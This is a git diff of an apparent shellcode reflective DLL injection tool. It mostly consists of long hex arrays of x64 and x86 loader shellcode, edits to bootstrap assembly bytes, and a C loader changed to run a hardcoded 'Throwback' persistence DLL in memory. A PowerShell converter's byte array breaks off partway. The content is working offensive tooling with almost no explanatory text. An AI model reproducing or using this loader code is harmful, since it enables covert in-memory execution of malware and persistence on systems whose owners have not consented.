\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3"; + DWORD rdiShellcode32Length = 3027, rdiShellcode64Length = 2792; //MARKER:E #endif @@ -268,7 +233,7 @@ BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; - BYTE bootstrap[46] = { 0 }; + BYTE bootstrap[49] = { 0 }; DWORD i = 0; // call next instruction (Pushes next instruction address to stack) @@ -291,18 +256,18 @@ BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID bootstrap[i++] = 0x89; bootstrap[i++] = 0xe5; - // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + // mov edx, eax - copy our location in memory to ebx before we start modifying eax bootstrap[i++] = 0x89; - bootstrap[i++] = 0xc3; + bootstrap[i++] = 0xc2; // add eax, bootstrap[i++] = 0x05; MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); i += sizeof(dllOffset); - // add ebx, + + // add edx, + bootstrap[i++] = 0x81; - bootstrap[i++] = 0xc3; + bootstrap[i++] = 0xc2; userDataLocation = dllOffset + length; MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); i += sizeof(userDataLocation); @@ -317,8 +282,8 @@ BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); i += sizeof(userLength); - // push ebx - bootstrap[i++] = 0x53; + // push edx + bootstrap[i++] = 0x52; // push bootstrap[i++] = 0x68; @@ -335,10 +300,10 @@ BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID bootstrap[i++] = 0x00; bootstrap[i++] = 0x00; - // add esp, 0x14 - correct the stack pointer - //bootstrap[i++] = 0x83; - //bootstrap[i++] = 0xc4; - //bootstrap[i++] = 0x14; + // add esp, 0x14 - clean up stack from args (cdecl) + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xc4; + bootstrap[i++] = 0x14; // leave bootstrap[i++] = 0xc9; @@ -380,7 +345,7 @@ int main(int argc, char *argv[], char *envp[]) printf("\n[!] Usage:\n\n\tNativeLoader.exe \n\tNativeLoader.exe \n"); return 0; } - if (!GetFileContents(argv[1], &data, dataSize)) { + if (!GetFileContents("C:\\Users\\Nick\\Documents\\Projects\\Throwback\\Throwback2.5\\bin\\Persistence_InstallUtil_x64.dll", &data, dataSize)) { printf("\n[!] Failed to load file\n"); return 0; } @@ -408,11 +373,11 @@ int main(int argc, char *argv[], char *envp[]) RDI rdi = (RDI)(finalShellcode); printf("[+] Executing RDI\n"); - UINT_PTR hLoadedDLL = rdi(); // Excute DLL + HMODULE hLoadedDLL = (HMODULE)rdi(); // Excute DLL free(finalShellcode); // Free the RDI blob. We no longer need it. - Function exportedFunction = (Function)GetProcAddressR(hLoadedDLL, "SayGoodbye"); + Function exportedFunction = (Function)GetProcAddressR(hLoadedDLL, "Uninstall"); if (exportedFunction) { printf("[+] Calling exported functon\n"); exportedFunction(); diff --git a/Native/Native.vcxproj b/Native/Native.vcxproj index 40db403..fd8bccb 100644 --- a/Native/Native.vcxproj +++ b/Native/Native.vcxproj @@ -22,33 +22,33 @@ {68293519-3053-4AB6-921F-9690E2E1487F} Win32Proj RDIShellcodeCLoader - 8.1 + 10.0 Native Application true - v140 + v142 Unicode Application false - v140 + v142 true Unicode Application true - v140 + v142 Unicode Application false - v140 + v142 true Unicode @@ -170,4 +170,4 @@ - + \ No newline at end of file diff --git a/PowerShell/ConvertTo-Shellcode.ps1 b/PowerShell/ConvertTo-Shellcode.ps1 index 828a32f..8079eaf 100644 --- a/PowerShell/ConvertTo-Shellcode.ps1 +++ b/PowerShell/ConvertTo-Shellcode.ps1 @@ -54,8 +54,8 @@ public class sRDI public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData, uint flags) { //MARKER:S - var rdiShellcode32 = new byte[] { 0x83,0xEC,0x6C,0x53,0x55,0x56,0x57,0xB9,0x4C,0x77,0x26,0x07,0xE8,0x6E,0x06,0x00,0x00,0x8B,0xF8,0xB9,0x49,0xF7,0x02,0x78,0x89,0x7C,0x24,0x28,0xE8,0x5E,0x06,0x00,0x00,0x8B,0xF0,0xB9,0x58,0xA4,0x53,0xE5,0x89,0x74,0x24,0x2C,0xE8,0x4E,0x06,0x00,0x00,0x8B,0xD8,0xB9,0x10,0xE1,0x8A,0xC3,0x89,0x5C,0x24,0x20,0xE8,0x3E,0x06,0x00,0x00,0xB9,0xAF,0xB1,0x5C,0x94,0x89,0x44,0x24,0x30,0xE8,0x30,0x06,0x00,0x00,0xB9,0x33,0x00,0x9E,0x95,0x89,0x44,0x24,0x34,0xE8,0x22,0x06,0x00,0x00,0xB9,0x44,0xF0,0x35,0xE0,0x8B,0xE8,0xE8,0x16,0x06,0x00,0x00,0x89,0x44,0x24,0x40,0x85,0xFF,0x0F,0x84,0x00,0x06,0x00,0x00,0x85,0xF6,0x0F,0x84,0xF8,0x05,0x00,0x00,0x85,0xDB,0x0F,0x84,0xF0,0x05,0x00,0x00,0x83,0x7C,0x24,0x30,0x00,0x0F,0x84,0xE5,0x05,0x00,0x00,0x83,0x7C,0x24,0x34,0x00,0x0F,0x84,0xDA,0x05,0x00,0x00,0x85,0xED,0x0F,0x84,0xD2,0x05,0x00,0x00,0x85,0xC0,0x0F,0x84,0xCA,0x05,0x00,0x00,0x8B,0x84,0x24,0x80,0x00,0x00,0x00,0x8B,0x70,0x3C,0x03,0xF0,0x81,0x3E,0x50,0x45,0x00,0x00,0x0F,0x85,0xB2,0x05,0x00,0x00,0xB8,0x4C,0x01,0x00,0x00,0x66,0x39,0x46,0x04,0x0F,0x85,0xA3,0x05,0x00,0x00,0xF6,0x46,0x38,0x01,0x0F,0x85,0x99,0x05,0x00,0x00,0x0F,0xB7,0x56,0x06,0x33,0xFF,0x0F,0xB7,0x46,0x14,0x85,0xD2,0x74,0x22,0x8D,0x4E,0x24,0x03,0xC8,0x83,0x79,0x04,0x00,0x8B,0x01,0x75,0x05,0x03,0x46,0x38,0xEB,0x03,0x03,0x41,0x04,0x3B,0xC7,0x0F,0x47,0xF8,0x83,0xC1,0x28,0x83,0xEA,0x01,0x75,0xE3,0x8D,0x44,0x24,0x58,0x50,0xFF,0xD5,0x8B,0x4C,0x24,0x5C,0x8D,0x51,0xFF,0x8D,0x69,0xFF,0xF7,0xD2,0x03,0x6E,0x50,0x8D,0x41,0xFF,0x03,0xC7,0x23,0xEA,0x23,0xC2,0x3B,0xE8,0x0F,0x85,0x42,0x05,0x00,0x00,0x6A,0x04,0xBF,0x00,0x30,0x00,0x00,0x57,0x55,0xFF,0x76,0x34,0xFF,0xD3,0x8B,0xD8,0x89,0x5C,0x24,0x24,0x85,0xDB,0x75,0x0F,0x6A,0x04,0x57,0x55,0x50,0xFF,0x54,0x24,0x30,0x8B,0xD8,0x89,0x44,0x24,0x24,0xF6,0x84,0x24,0x90,0x00,0x00,0x00,0x01,0x74,0x28,0x8B,0x94,0x24,0x80,0x00,0x00,0x00,0x8B,0x42,0x3C,0x89,0x43,0x3C,0x8B,0x4A,0x3C,0x3B,0x4E,0x54,0x73,0x31,0x8D,0x3C,0x0B,0x2B,0xD3,0x8A,0x04,0x3A,0x41,0x88,0x07,0x47,0x3B,0x4E,0x54,0x72,0xF4,0xEB,0x1E,0x33,0xFF,0x39,0x7E,0x54,0x76,0x17,0x8B,0x94,0x24,0x80,0x00,0x00,0x00,0x8B,0xCB,0x2B,0xD3,0x8A,0x04,0x11,0x47,0x88,0x01,0x41,0x3B,0x7E,0x54,0x72,0xF4,0x8B,0x6B,0x3C,0x33,0xC9,0x03,0xEB,0x89,0x4C,0x24,0x1C,0x33,0xD2,0x89,0x6C,0x24,0x14,0x0F,0xB7,0x45,0x14,0x66,0x3B,0x55,0x06,0x73,0x40,0x8D,0x75,0x28,0x03,0xF0,0x33,0xFF,0x39,0x3E,0x76,0x25,0x8B,0xAC,0x24,0x80,0x00,0x00,0x00,0x8B,0x46,0x04,0x8D,0x14,0x3B,0x8B,0x4E,0xFC,0x03,0xC7,0x47,0x8A,0x04,0x28,0x88,0x04,0x0A,0x3B,0x3E,0x72,0xEA,0x8B,0x6C,0x24,0x14,0x8B,0x4C,0x24,0x1C,0x0F,0xB7,0x45,0x06,0x41,0x83,0xC6,0x28,0x89,0x4C,0x24,0x1C,0x3B,0xC8,0x72,0xC5,0x6A,0x01,0x8B,0xFB,0x5E,0x89,0x74,0x24,0x20,0x2B,0x7D,0x34,0x74,0x7B,0x83,0xBD,0xA4,0x00,0x00,0x00,0x00,0x74,0x72,0x8B,0x95,0xA0,0x00,0x00,0x00,0x03,0xD3,0x83,0x3A,0x00,0x74,0x65,0x6A,0x02,0x5D,0x8D,0x72,0x08,0xEB,0x46,0x0F,0xB7,0x0E,0x66,0x8B,0xC1,0x66,0xC1,0xE8,0x0C,0x66,0x83,0xF8,0x0A,0x74,0x06,0x66,0x83,0xF8,0x03,0x75,0x0D,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0A,0x01,0x3C,0x19,0xEB,0x21,0x66,0x3B,0x44,0x24,0x20,0x75,0x07,0x8B,0xC7,0xC1,0xE8,0x10,0xEB,0x08,0x66,0x3B,0xC5,0x75,0x0E,0x0F,0xB7,0xC7,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0A,0x01,0x04,0x19,0x03,0xF5,0x8B,0x42,0x04,0x03,0xC2,0x3B,0xF0,0x75,0xB1,0x83,0x3E,0x00,0x8B,0xD6,0x75,0xA5,0x8B,0x6C,0x24,0x14,0x33,0xF6,0x46,0x83,0xBD,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0x97,0x01,0x00,0x00,0x8B,0x85,0x80,0x00,0x00,0x00,0x8D,0x0C,0x18,0x83,0xC0,0x0C,0x03,0xC3,0x89,0x4C,0x24,0x1C,0x33,0xC9,0x89,0x4C,0x24,0x18,0x39,0x08,0x74,0x0D,0x8D,0x40,0x14,0x41,0x83,0x38,0x00,0x75,0xF7,0x89,0x4C,0x24,0x18,0x8B,0x94,0x24,0x90,0x00,0x00,0x00,0x8B,0xC2,0x83,0xE0,0x04,0x89,0x44,0x24,0x3C,0x0F,0x84,0xAE,0x00,0x00,0x00,0x3B,0xCE,0x0F,0x86,0xA6,0x00,0x00,0x00,0xC1,0xEA,0x10,0x8D,0x41,0xFF,0x89,0x94,0x24,0x90,0x00,0x00,0x00,0x33,0xD2,0x89,0x44,0x24,0x38,0x89,0x54,0x24,0x20,0x85,0xC0,0x0F,0x84,0x92,0x00,0x00,0x00,0x8B,0x5C,0x24,0x1C,0x8B,0xAC,0x24,0x80,0x00,0x00,0x00,0x89,0x5C,0x24,0x1C,0x2B,0xCA,0x69,0xED,0xFD,0x43,0x03,0x00,0x33,0xD2,0x8D,0x7C,0x24,0x44,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x81,0xC5,0xC3,0x9E,0x26,0x00,0x33,0xD2,0x6A,0x05,0x8D,0x48,0x01,0x8B,0xC5,0xC1,0xE8,0x10,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x8B,0x54,0x24,0x24,0x03,0xC2,0x6B,0xC0,0x14,0x59,0x6A,0x05,0x03,0xC3,0x42,0x8B,0xF0,0x89,0x54,0x24,0x24,0xF3,0xA5,0x8B,0x74,0x24,0x20,0x8B,0xF8,0x8B,0x44,0x24,0x20,0x59,0xF3,0xA5,0x6A,0x05,0x8B,0xF8,0x8D,0x74,0x24,0x48,0x59,0x83,0xC0,0x14,0xF3,0xA5,0x8B,0x4C,0x24,0x18,0x89,0x44,0x24,0x1C,0x3B,0x54,0x24,0x38,0x72,0x92,0x8B,0x5C,0x24,0x24,0x8B,0x6C,0x24,0x14,0xEB,0x0B,0x8B,0x44,0x24,0x40,0x89,0x84,0x24,0x90,0x00,0x00,0x00,0x8B,0xB5,0x80,0x00,0x00,0x00,0x03,0xF3,0x89,0x74,0x24,0x20,0x8B,0x46,0x0C,0x85,0xC0,0x0F,0x84,0x88,0x00,0x00,0x00,0x8B,0x6C,0x24,0x18,0x03,0xC3,0x50,0xFF,0x54,0x24,0x2C,0x8B,0x7E,0x10,0x89,0x44,0x24,0x38,0x03,0xFB,0x8B,0x06,0x03,0xC3,0x89,0x44,0x24,0x24,0x8B,0x08,0x85,0xC9,0x74,0x36,0x8B,0x6C,0x24,0x38,0x8B,0x74,0x24,0x2C,0x79,0x05,0x0F,0xB7,0xC1,0xEB,0x05,0x8D,0x41,0x0